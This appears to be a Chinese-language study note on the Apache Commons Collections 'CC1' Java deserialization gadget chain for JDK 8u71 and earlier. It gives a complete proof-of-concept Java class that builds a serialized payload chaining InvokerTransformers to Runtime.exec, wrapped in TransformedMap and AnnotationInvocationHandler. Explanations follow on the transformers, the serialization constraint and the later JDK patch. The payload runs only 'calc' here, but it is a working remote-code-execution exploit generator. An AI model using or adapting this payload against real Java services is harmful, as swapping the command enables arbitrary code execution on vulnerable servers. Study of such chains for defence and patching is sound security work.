POC:

  1. package test.com.cc;
  2. // Apache Common Collections
  3. // Version < 3.22
  4. // 3.22 禁止了 InvokerTransformer 反序列化执行
  5. // jdk <= Java 8u71
  6. import org.apache.commons.collections.Transformer;
  7. import org.apache.commons.collections.functors.ChainedTransformer;
  8. import org.apache.commons.collections.functors.ConstantTransformer;
  9. import org.apache.commons.collections.functors.InvokerTransformer;
  10. import org.apache.commons.collections.map.TransformedMap;
  11. import test.com.Serializer;
  12. import java.io.IOException;
  13. import java.lang.reflect.Constructor;
  14. import java.lang.reflect.Field;
  15. import java.lang.reflect.InvocationTargetException;
  16. import java.util.HashMap;
  17. import java.util.Map;
  18. public class cc1_before_8u71 {
  19. public static byte[] payload() throws IOException, ClassNotFoundException,
  20. InvocationTargetException, InstantiationException, IllegalAccessException,
  21. NoSuchMethodException, NoSuchFieldException {
  22. // Runtime obj = (Runtime)Runtime.class.getMethod("getRuntime").invoke(Runtime.class);
  23. // obj.exec("calc");
  24. Transformer[] transformers = new Transformer[]{
  25. new ConstantTransformer(Runtime.class),
  26. new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
  27. new Object[]{"getRuntime",null}),
  28. new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
  29. new Object[]{ null, null }),
  30. new InvokerTransformer("exec", new Class[]{String.class},
  31. new Object[]{"calc"}),
  32. };
  33. Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); // iTransformers
  34. Map map = new HashMap();
  35. TransformedMap transformedmap = (TransformedMap)
  36. TransformedMap.decorate(map,transformerChain, transformerChain); // value transform
  37. map.put("value","1"); // 必须是value
  38. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  39. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  40. constructor.setAccessible(true);
  41. Object obj = constructor.newInstance(SuppressWarnings.class, transformedmap);
  42. // public @interface xx 搜索得到,且有方法存在.
  43. Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
  44. f.setAccessible(true);
  45. f.set(transformerChain,transformers);
  46. return Serializer.Serialize(obj);
  47. }
  48. }

Transformers

主要的用途:

  1. ConstantTransformer 就算保存这个类,调用transform的适合返回保存的常量类
  2. InvokerTransformer 执行Object的 相应方法
  3. ChainedTransformer 把多个transformer组合在一起
  4. TransformedMap 对map做修饰,可以普通的Map加上transformer
  5. TransformedMap 在 put 键值对进去的适合会触发transformer的调用

反序列化要求:待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口
所以不能直接传Runtime类,transformer调用链可以这样写:

  1. //Runtime obj = (Runtime)Runtime.class.getMethod("getRuntime").invoke(Runtime.class);
  2. //obj.exec("calc");
  3. Transformer[] transformers = new Transformer[]{
  4. new ConstantTransformer(Runtime.class),
  5. new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
  6. new Object[]{"getRuntime",null}),
  7. new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
  8. new Object[]{ null, null }),
  9. new InvokerTransformer("exec", new Class[]{String.class},
  10. new Object[]{"calc"}),
  11. };

sun.reflect.annotation.AnnotationInvocationHandler

这个类的readObject可以触发setvalue, 这个操作也会触发value的transformer.transform()
java 8u71之后,这个类的ReadObject方法被修改,调用链中断。

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

image.png

思考

  1. AnnotationInvocationHandler是干什么的,为什么会用到map?